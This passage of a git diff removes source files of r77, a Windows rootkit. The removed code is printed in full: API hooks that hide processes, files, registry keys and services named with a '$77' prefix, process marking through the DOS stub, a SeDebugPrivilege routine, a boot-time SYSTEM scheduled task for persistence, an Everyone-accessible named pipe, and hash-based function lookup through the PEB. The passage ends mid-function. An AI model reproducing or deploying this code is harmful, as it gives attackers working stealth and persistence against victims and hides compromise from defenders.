Hooks::KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass) -{ - switch (keyInformationClass) - { - case nt::KEY_INFORMATION_CLASS::KeyBasicInformation: - return ((nt::PKEY_BASIC_INFORMATION)keyInformation)->Name; - case nt::KEY_INFORMATION_CLASS::KeyNameInformation: - return ((nt::PKEY_NAME_INFORMATION)keyInformation)->Name; - default: - return NULL; - } -} -PWCHAR Hooks::KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass) -{ - switch (keyValueInformationClass) - { - case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueBasicInformation: - return ((nt::PKEY_VALUE_BASIC_INFORMATION)keyValueInformation)->Name; - case nt::KEY_VALUE_INFORMATION_CLASS::KeyValueFullInformation: - return ((nt::PKEY_VALUE_FULL_INFORMATION)keyValueInformation)->Name; - default: - return NULL; - } -} -void Hooks::ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned) -{ - if (type == ServiceStructType::ENUM_SERVICE_STATUSW) - { - LPENUM_SERVICE_STATUSW serviceList = (LPENUM_SERVICE_STATUSW)services; - - for (DWORD i = 0; i < *servicesReturned; i++) - { - // If hidden, move all following entries up by one and decrease count. - if (Rootkit::HasPrefix(serviceList[i].lpServiceName) || - Rootkit::HasPrefix(serviceList[i].lpDisplayName) || - Config::IsServiceNameHidden(serviceList[i].lpServiceName) || - Config::IsServiceNameHidden(serviceList[i].lpDisplayName)) - { - RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUSW)); - (*servicesReturned)--; - i--; - } - } - } - else if (type == ServiceStructType::ENUM_SERVICE_STATUS_PROCESSW) - { - LPENUM_SERVICE_STATUS_PROCESSW serviceList = (LPENUM_SERVICE_STATUS_PROCESSW)services; - - for (DWORD i = 0; i < *servicesReturned; i++) - { - // If hidden, move all following entries up by one and decrease count. - if (Rootkit::HasPrefix(serviceList[i].lpServiceName) || - Rootkit::HasPrefix(serviceList[i].lpDisplayName) || - Config::IsServiceNameHidden(serviceList[i].lpServiceName) || - Config::IsServiceNameHidden(serviceList[i].lpDisplayName)) - { - RtlMoveMemory(&serviceList[i], &serviceList[i + 1], (*servicesReturned - i - 1) * sizeof(ENUM_SERVICE_STATUS_PROCESSW)); - (*servicesReturned)--; - i--; - } - } - } -} \ No newline at end of file diff --git a/src/r77/Hooks.h b/src/r77/Hooks.h deleted file mode 100644 index 8df7f60..0000000 --- a/src/r77/Hooks.h +++ /dev/null @@ -1,57 +0,0 @@ -/// -/// Implementation of hooked functions. -/// -class Hooks -{ -private: - enum class ServiceStructType - { - ENUM_SERVICE_STATUSW, - ENUM_SERVICE_STATUS_PROCESSW - }; - - static bool IsInitialized; - - static nt::NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation; - static nt::NTRESUMETHREAD OriginalNtResumeThread; - static nt::NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile; - static nt::NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx; - static nt::NTENUMERATEKEY OriginalNtEnumerateKey; - static nt::NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey; - static nt::ENUMSERVICEGROUPW OriginalEnumServiceGroupW; - static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW; - static nt::ENUMSERVICESSTATUSEXW OriginalEnumServicesStatusExW2; - static nt::NTDEVICEIOCONTROLFILE OriginalNtDeviceIoControlFile; - - static void InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction); - static void UninstallHook(LPVOID originalFunction, LPVOID hookedFunction); - - static NTSTATUS NTAPI HookedNtQuerySystemInformation(nt::SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength); - static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount); - static NTSTATUS NTAPI HookedNtQueryDirectoryFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, BOOLEAN returnSingleEntry, PUNICODE_STRING fileName, BOOLEAN restartScan); - static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, LPVOID fileInformation, ULONG length, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG queryFlags, PUNICODE_STRING fileName); - static NTSTATUS NTAPI HookedNtEnumerateKey(HANDLE key, ULONG index, nt::KEY_INFORMATION_CLASS keyInformationClass, LPVOID keyInformation, ULONG keyInformationLength, PULONG resultLength); - static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LPVOID keyValueInformation, ULONG keyValueInformationLength, PULONG resultLength); - static BOOL WINAPI HookedEnumServiceGroupW(SC_HANDLE serviceManager, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPVOID reserved); - static BOOL WINAPI HookedEnumServicesStatusExW(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - static BOOL WINAPI HookedEnumServicesStatusExW2(SC_HANDLE serviceManager, SC_ENUM_TYPE infoLevel, DWORD serviceType, DWORD serviceState, LPBYTE services, DWORD servicesLength, LPDWORD bytesNeeded, LPDWORD servicesReturned, LPDWORD resumeHandle, LPCWSTR groupName); - static NTSTATUS NTAPI HookedNtDeviceIoControlFile(HANDLE fileHandle, HANDLE event, PIO_APC_ROUTINE apcRoutine, LPVOID apcContext, PIO_STATUS_BLOCK ioStatusBlock, ULONG ioControlCode, LPVOID inputBuffer, ULONG inputBufferLength, LPVOID outputBuffer, ULONG outputBufferLength); - - static bool GetProcessHiddenTimes(PLARGE_INTEGER hiddenKernelTime, PLARGE_INTEGER hiddenUserTime, PLONGLONG hiddenCycleTime); - static LPWSTR CreatePath(LPWSTR result, LPCWSTR directoryName, LPCWSTR fileName); - static LPWSTR FileInformationGetName(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, LPWSTR name); - static ULONG FileInformationGetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass); - static void FileInformationSetNextEntryOffset(LPVOID fileInformation, nt::FILE_INFORMATION_CLASS fileInformationClass, ULONG value); - static PWCHAR KeyInformationGetName(LPVOID keyInformation, nt::KEY_INFORMATION_CLASS keyInformationClass); - static PWCHAR KeyValueInformationGetName(LPVOID keyValueInformation, nt::KEY_VALUE_INFORMATION_CLASS keyValueInformationClass); - static void ProcessEnumServices(ServiceStructType type, LPBYTE services, LPDWORD servicesReturned); -public: - /// - /// Installs hooks. - /// - static void Initialize(); - /// - /// Unhooks functions. - /// - static void Shutdown(); -}; \ No newline at end of file diff --git a/src/r77/Register.cpp b/src/r77/Register.cpp deleted file mode 100644 index ca558d4..0000000 --- a/src/r77/Register.cpp +++ /dev/null @@ -1,46 +0,0 @@ -#include "r77.h" - -bool Register::Initialize() -{ - // Store the r77 header in the main module. - LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); - if (module) - { - // The r77 header is written to the DOS stub. - LPWORD signature = (LPWORD) & module[sizeof(IMAGE_DOS_HEADER)]; - - // If this process already has an r77 signature, indicate that the DLL should be detached by returning false. - if (*signature == R77_SIGNATURE || *signature == R77_SERVICE_SIGNATURE || *signature == R77_HELPER_SIGNATURE) return false; - - DWORD oldProtect; - if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) - { - // The current process is now marked as injected and therefore, cannot be injected again. - *signature = R77_SIGNATURE; - - // Write a function pointer to Rootkit::Detach that can be invoked using NtCreateThreadEx to detach r77 from this process. - *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = (DWORD64)Rootkit::Detach; - - VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); - } - } - - return true; -} -void Register::Shutdown() -{ - LPBYTE module = (LPBYTE)GetModuleHandleW(NULL); - if (module) - { - DWORD oldProtect; - if (VirtualProtectEx(GetCurrentProcess(), module, 512, PAGE_READWRITE, &oldProtect)) - { - // Remove the r77 header by overwriting the DOS stub. - // Even if this sequence of bytes doesn't match the original DOS stub, it does not affect the process. - *(LPWORD)&module[sizeof(IMAGE_DOS_HEADER)] = 0x1f0e; - *(PDWORD64)&module[sizeof(IMAGE_DOS_HEADER) + 2] = 0xb821cd09b4000eba; - - VirtualProtectEx(GetCurrentProcess(), module, 512, oldProtect, &oldProtect); - } - } -} \ No newline at end of file diff --git a/src/r77/Register.h b/src/r77/Register.h deleted file mode 100644 index 97602fb..0000000 --- a/src/r77/Register.h +++ /dev/null @@ -1,19 +0,0 @@ -/// -/// Class that writes the r77 header to the injected process. -/// -class Register -{ -public: - /// - /// Register r77 by writing the r77 header. - /// - /// - /// true, if the header was written and r77 can run; - /// false, if r77 should detach from this process. - /// - static bool Initialize(); - /// - /// Removes the r77 header from this process. - /// - static void Shutdown(); -}; \ No newline at end of file diff --git a/src/r77/Rootkit.cpp b/src/r77/Rootkit.cpp deleted file mode 100644 index 3476bae..0000000 --- a/src/r77/Rootkit.cpp +++ /dev/null @@ -1,62 +0,0 @@ -#include "r77.h" - -bool Rootkit::IsInitialized = false; -HINSTANCE Rootkit::Module = NULL; - -bool Rootkit::Initialize(const HINSTANCE &module) -{ - InitializeApi(0); - - WCHAR executablePath[MAX_PATH + 1]; - if (!SUCCEEDED(GetModuleFileNameW(NULL, executablePath, MAX_PATH))) return false; - - // If the process starts with $77, do not load r77. - if (HasPrefix(PathFindFileNameW(executablePath))) return false; - - // Write the r77 header. - if (!Register::Initialize()) return false; - - if (!IsInitialized) - { - IsInitialized = true; - Module = module; - - // Initialize configuration system. - Config::Initialize(); - - // Install hooks. - Hooks::Initialize(); - } - - return true; -} -void Rootkit::Shutdown() -{ - if (IsInitialized) - { - IsInitialized = false; - - // Remove the r77 header. - Register::Shutdown(); - - // Uninitialize configuration system. - Config::Shutdown(); - - // Unhook functions. - Hooks::Shutdown(); - } -} -void Rootkit::Detach() -{ - Shutdown(); - FreeLibraryAndExitThread(Module, 0); -} - -bool Rootkit::HasPrefix(LPCWSTR str) -{ - return str && !_wcsnicmp(str, HIDE_PREFIX, HIDE_PREFIX_LENGTH); -} -bool Rootkit::HasPrefix(UNICODE_STRING str) -{ - return str.Buffer && str.Length / sizeof(WCHAR) >= HIDE_PREFIX_LENGTH && !_wcsnicmp(str.Buffer, HIDE_PREFIX, HIDE_PREFIX_LENGTH); -} \ No newline at end of file diff --git a/src/r77/Rootkit.h b/src/r77/Rootkit.h deleted file mode 100644 index 3cdc7e4..0000000 --- a/src/r77/Rootkit.h +++ /dev/null @@ -1,48 +0,0 @@ -/// -/// Main entry point for r77. Initialize and Shutdown should be called by DllMain. -/// -class Rootkit -{ -private: - static bool IsInitialized; - static HINSTANCE Module; -public: - /// - /// Initializes r77, writes r77 header and installs hooks. - /// This function returns false, if r77 is already injected, or if this process is either the r77 service or a helper process, or the process starts with $77. - /// - /// The module of the injected DLL. - /// - /// true, if r77 was successfully loaded; - /// otherwise, false. - /// - static bool Initialize(const HINSTANCE &module); - /// - /// Detaches r77 from this process. - /// - static void Shutdown(); - /// - /// A function that can be invoked using NtCreateThreadEx to detach r77 from this process. - /// The address of this function is written to the r77 header. - /// - static void Detach(); - - /// - /// Determines whether a string is hidden by prefix. - /// - /// The unicode string to be checked. - /// - /// true, if this string is hidden by prefix; - /// otherwise, false. - /// - static bool HasPrefix(LPCWSTR str); - /// - /// Determines whether a string is hidden by prefix. - /// - /// The unicode string to be checked. - /// - /// true, if this string is hidden by prefix; - /// otherwise, false. - /// - static bool HasPrefix(UNICODE_STRING str); -}; \ No newline at end of file diff --git a/src/r77/r77.h b/src/r77/r77.h deleted file mode 100644 index 7e8b4bf..0000000 --- a/src/r77/r77.h +++ /dev/null @@ -1,8 +0,0 @@ -#pragma comment(lib, "detours.lib") - -#include "../r77api.h" -#include "detours.h" -#include "Register.h" -#include "Config.h" -#include "Hooks.h" -#include "Rootkit.h" \ No newline at end of file diff --git a/src/r77api.cpp b/src/r77api.cpp deleted file mode 100644 index 31cc56e..0000000 --- a/src/r77api.cpp +++ /dev/null @@ -1,1689 +0,0 @@ -#include "r77api.h" - -VOID InitializeApi(DWORD flags) -{ - if (flags & INITIALIZE_API_SRAND) srand((unsigned int)time(0)); - if (flags & INITIALIZE_API_DEBUG_PRIVILEGE) EnabledDebugPrivilege(); -} - -VOID RandomString(PWCHAR str, DWORD length) -{ - for (DWORD i = 0; i < length; i++) - { - str[i] = L"0123456789abcdef"[rand() * 16 / RAND_MAX]; - } - - str[length] = L'\0'; -} -LPCSTR ConvertStringToAString(LPCWSTR str) -{ - PCHAR result = NULL; - - int length = WideCharToMultiByte(CP_ACP, 0, str, -1, NULL, 0, NULL, NULL); - if (length > 0) - { - result = new CHAR[length]; - if (WideCharToMultiByte(CP_ACP, 0, str, -1, result, length, NULL, NULL) <= 0) - { - delete[] result; - result = NULL; - } - } - - return result; -} -LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str) -{ - if (str.Buffer) - { - PWCHAR buffer = new WCHAR[str.Length / sizeof(WCHAR) + 1]; - wmemcpy(buffer, str.Buffer, str.Length / sizeof(WCHAR)); - buffer[str.Length / sizeof(WCHAR)] = L'\0'; - - return buffer; - } - else - { - return NULL; - } -} -BOOL Is64BitOperatingSystem() -{ - BOOL wow64; - return sizeof(LPVOID) == 8 || IsWow64Process(GetCurrentProcess(), &wow64) && wow64; -} -BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit) -{ - BOOL result = FALSE; - - if (Is64BitOperatingSystem()) - { - HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, processId); - if (process) - { - BOOL wow64; - if (IsWow64Process(process, &wow64)) - { - *is64Bit = wow64 ? FALSE : TRUE; - result = TRUE; - } - - CloseHandle(process); - } - } - else - { - *is64Bit = FALSE; - result = TRUE; - } - - return result; -} -LPVOID GetFunction(LPCSTR dll, LPCSTR function) -{ - HMODULE module = GetModuleHandleA(dll); - return module ? (LPVOID)GetProcAddress(module, function) : NULL; -} -BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize; - if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_MANDATORY_LABEL tokenMandatoryLabel = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, tokenSize); - if (tokenMandatoryLabel) - { - if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenIntegrityLevel, tokenMandatoryLabel, tokenSize, &tokenSize)) - { - *integrityLevel = *GetSidSubAuthority(tokenMandatoryLabel->Label.Sid, *GetSidSubAuthorityCount(tokenMandatoryLabel->Label.Sid) - 1); - result = TRUE; - } - - LocalFree(tokenMandatoryLabel); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processId); - if (process) - { - WCHAR path[MAX_PATH + 1]; - if (GetModuleFileNameExW(process, NULL, path, MAX_PATH)) - { - PWCHAR resultFileName = fullPath ? path : PathFindFileNameW(path); - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - lstrcpyW(fileName, resultFileName); - result = TRUE; - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength) -{ - BOOL result = FALSE; - - HANDLE token; - if (OpenProcessToken(process, TOKEN_QUERY, &token)) - { - DWORD tokenSize = 0; - if (!GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, NULL, 0, &tokenSize) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - PTOKEN_USER tokenUser = (PTOKEN_USER)LocalAlloc(0, tokenSize); - if (tokenUser) - { - if (GetTokenInformation(token, TOKEN_INFORMATION_CLASS::TokenUser, tokenUser, tokenSize, &tokenSize)) - { - WCHAR domain[256]; - DWORD domainLength = 256; - SID_NAME_USE sidType; - result = LookupAccountSidW(NULL, tokenUser->User.Sid, name, nameLength, domain, &domainLength, &sidType); - } - - LocalFree(tokenUser); - } - } - - CloseHandle(token); - } - - return result; -} -BOOL EnabledDebugPrivilege() -{ - BOOL result = FALSE; - - HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, GetCurrentProcessId()); - if (process) - { - HANDLE token; - if (OpenProcessToken(process, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token)) - { - LUID luid; - if (LookupPrivilegeValueW(NULL, L"SeDebugPrivilege", &luid)) - { - TOKEN_PRIVILEGES tokenPrivileges; - tokenPrivileges.PrivilegeCount = 1; - tokenPrivileges.Privileges[0].Luid = luid; - tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; - - if (AdjustTokenPrivileges(token, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) - { - result = GetLastError() != ERROR_NOT_ALL_ASSIGNED; - } - } - } - - CloseHandle(process); - } - - return result; -} -BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size) -{ - HRSRC resource = FindResourceA(NULL, MAKEINTRESOURCEA(resourceID), type); - if (resource) - { - *size = SizeofResource(NULL, resource); - if (*size) - { - HGLOBAL resourceData = LoadResource(NULL, resource); - if (resourceData) - { - *data = (LPBYTE)LockResource(resourceData); - return TRUE; - } - } - } - - return FALSE; -} -BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength) -{ - BOOL result = FALSE; - - WCHAR path[MAX_PATH + 1]; - if (GetFinalPathNameByHandleW(file, path, MAX_PATH, FILE_NAME_NORMALIZED) > 0 && !_wcsnicmp(path, L"\\\\?\\", 4)) - { - PWCHAR resultFileName = &path[4]; - if ((DWORD)lstrlenW(resultFileName) <= fileNameLength) - { - lstrcpyW(fileName, resultFileName); - result = TRUE; - } - } - - return result; -} -BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD fileSize = GetFileSize(file, NULL); - if (fileSize != INVALID_FILE_SIZE) - { - LPBYTE fileData = new BYTE[fileSize]; - - DWORD bytesRead; - if (ReadFile(file, fileData, fileSize, &bytesRead, NULL) && bytesRead == fileSize) - { - *data = fileData; - if (size) *size = fileSize; - result = TRUE; - } - else - { - delete[] fileData; - } - } - - CloseHandle(file); - } - - return result; -} -BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length) -{ - BOOL result = FALSE; - - for (DWORD count = 0; count < length; count++) - { - DWORD bytesRead; - if (!ReadFile(file, &str[count], sizeof(WCHAR), &bytesRead, NULL) || bytesRead != sizeof(WCHAR)) - { - result = FALSE; - break; - } - - if (str[count] == L'\0') - { - result = TRUE; - break; - } - } - - return result; -} -BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size) -{ - BOOL result = FALSE; - - HANDLE file = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); - if (file != INVALID_HANDLE_VALUE) - { - DWORD bytesWritten; - result = WriteFile(file, data, size, &bytesWritten, NULL); - CloseHandle(file); - } - - return result; -} -BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath) -{ - BOOL result = FALSE; - WCHAR tempPath[MAX_PATH + 1]; - - if (GetTempPathW(MAX_PATH, tempPath)) - { - WCHAR fileName[MAX_PATH + 1]; - RandomString(fileName, 8); - lstrcatW(fileName, L"."); - lstrcatW(fileName, extension); - - if (PathCombineW(resultPath, tempPath, fileName) && WriteFileContent(resultPath, file, fileSize)) - { - result = TRUE; - } - } - - return result; -} -BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile) -{ - BOOL result = FALSE; - - STARTUPINFOW startupInfo; - PROCESS_INFORMATION processInformation; - ZeroMemory(&startupInfo, sizeof(startupInfo)); - ZeroMemory(&processInformation, sizeof(processInformation)); - startupInfo.cb = sizeof(startupInfo); - - if (CreateProcessW(path, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInformation)) - { - WaitForSingleObject(processInformation.hProcess, 10000); - CloseHandle(processInformation.hProcess); - CloseHandle(processInformation.hThread); - - result = TRUE; - } - - if (deleteFile) - { - for (int i = 0; i < 10; i++) - { - if (DeleteFileW(path)) break; - Sleep(100); - } - } - - return result; -} -BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - ITaskDefinition *task = NULL; - if (SUCCEEDED(service->NewTask(0, &task))) - { - ITaskSettings *settings = NULL; - if (SUCCEEDED(task->get_Settings(&settings))) - { - if (SUCCEEDED(settings->put_StartWhenAvailable(VARIANT_TRUE))) - { - ITriggerCollection *triggerCollection = NULL; - if (SUCCEEDED(task->get_Triggers(&triggerCollection))) - { - ITrigger *trigger = NULL; - if (SUCCEEDED(triggerCollection->Create(TASK_TRIGGER_BOOT, &trigger))) - { - IBootTrigger *bootTrigger = NULL; - if (SUCCEEDED(trigger->QueryInterface(IID_IBootTrigger, (LPVOID*)&bootTrigger))) - { - IActionCollection *actionCollection = NULL; - if (SUCCEEDED(task->get_Actions(&actionCollection))) - { - IAction *action = NULL; - if (SUCCEEDED(actionCollection->Create(TASK_ACTION_EXEC, &action))) - { - IExecAction *execAction = NULL; - if (SUCCEEDED(action->QueryInterface(IID_IExecAction, (LPVOID*)&execAction))) - { - if (SUCCEEDED(execAction->put_WorkingDirectory(_bstr_t(directory))) && - SUCCEEDED(execAction->put_Path(_bstr_t(fileName))) && - SUCCEEDED(execAction->put_Arguments(_bstr_t(arguments)))) - { - VARIANT password; - password.vt = VT_EMPTY; - - IRegisteredTask *registeredTask = NULL; - if (SUCCEEDED(folder->RegisterTaskDefinition(_bstr_t(name), task, TASK_CREATE_OR_UPDATE, _variant_t(L"SYSTEM"), password, TASK_LOGON_SERVICE_ACCOUNT, _variant_t(L""), ®isteredTask))) - { - result = TRUE; - - registeredTask->Release(); - } - } - - execAction->Release(); - } - - action->Release(); - } - - actionCollection->Release(); - } - - bootTrigger->Release(); - } - - trigger->Release(); - } - - triggerCollection->Release(); - } - } - - settings->Release(); - } - - task->Release(); - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -BOOL RunScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - IRegisteredTask *task = NULL; - if (SUCCEEDED(folder->GetTask(_bstr_t(name), &task))) - { - VARIANT params; - params.vt = VT_EMPTY; - - IRunningTask *runningTask = NULL; - if (SUCCEEDED(task->Run(params, &runningTask))) - { - result = TRUE; - - runningTask->Release(); - } - - task->Release(); - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -BOOL DeleteScheduledTask(LPCWSTR name) -{ - BOOL result = FALSE; - - if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED))) - { - HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); - if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE) - { - ITaskService *service = NULL; - if (SUCCEEDED(CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (LPVOID*)&service))) - { - if (SUCCEEDED(service->Connect(_variant_t(), _variant_t(), _variant_t(), _variant_t()))) - { - ITaskFolder *folder = NULL; - if (SUCCEEDED(service->GetFolder(_bstr_t(L"\\"), &folder))) - { - if (SUCCEEDED(folder->DeleteTask(_bstr_t(name), 0))) - { - result = TRUE; - } - - folder->Release(); - } - } - - service->Release(); - } - } - - CoUninitialize(); - } - - return result; -} -HANDLE CreatePublicNamedPipe(LPCWSTR name) -{ - // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes. - - SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY; - PSID everyoneSid; - if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE; - - EXPLICIT_ACCESSW explicitAccess; - ZeroMemory(&explicitAccess, sizeof(EXPLICIT_ACCESSW)); - explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS; - explicitAccess.grfAccessMode = SET_ACCESS; - explicitAccess.grfInheritance = NO_INHERITANCE; - explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID; - explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; - explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid; - - PACL acl; - if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE; - - PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH); - if (!securityDescriptor || - !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) || - !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE; - - SECURITY_ATTRIBUTES securityAttributes; - securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); - securityAttributes.lpSecurityDescriptor = securityDescriptor; - securityAttributes.bInheritHandle = FALSE; - - return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes); -} - -BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit) -{ - PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); - - if (ntHeaders->Signature == IMAGE_NT_SIGNATURE) - { - switch (ntHeaders->OptionalHeader.Magic) - { - case 0x10b: - *is64Bit = FALSE; - return TRUE; - case 0x20b: - *is64Bit = TRUE; - return TRUE; - } - } - - return FALSE; -} -LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash) -{ -#ifdef _WIN64 - nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readgsqword(0x60))->Ldr; -#else - nt::PPEB_LDR_DATA peb = (nt::PPEB_LDR_DATA)((nt::PPEB)__readfsdword(0x30))->Ldr; -#endif - - nt::PLDR_DATA_TABLE_ENTRY firstPebEntry = (nt::PLDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink; - nt::PLDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry; - do - { - // Find module by hash - if (pebEntry->BaseDllName.Buffer && libc::strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash) - 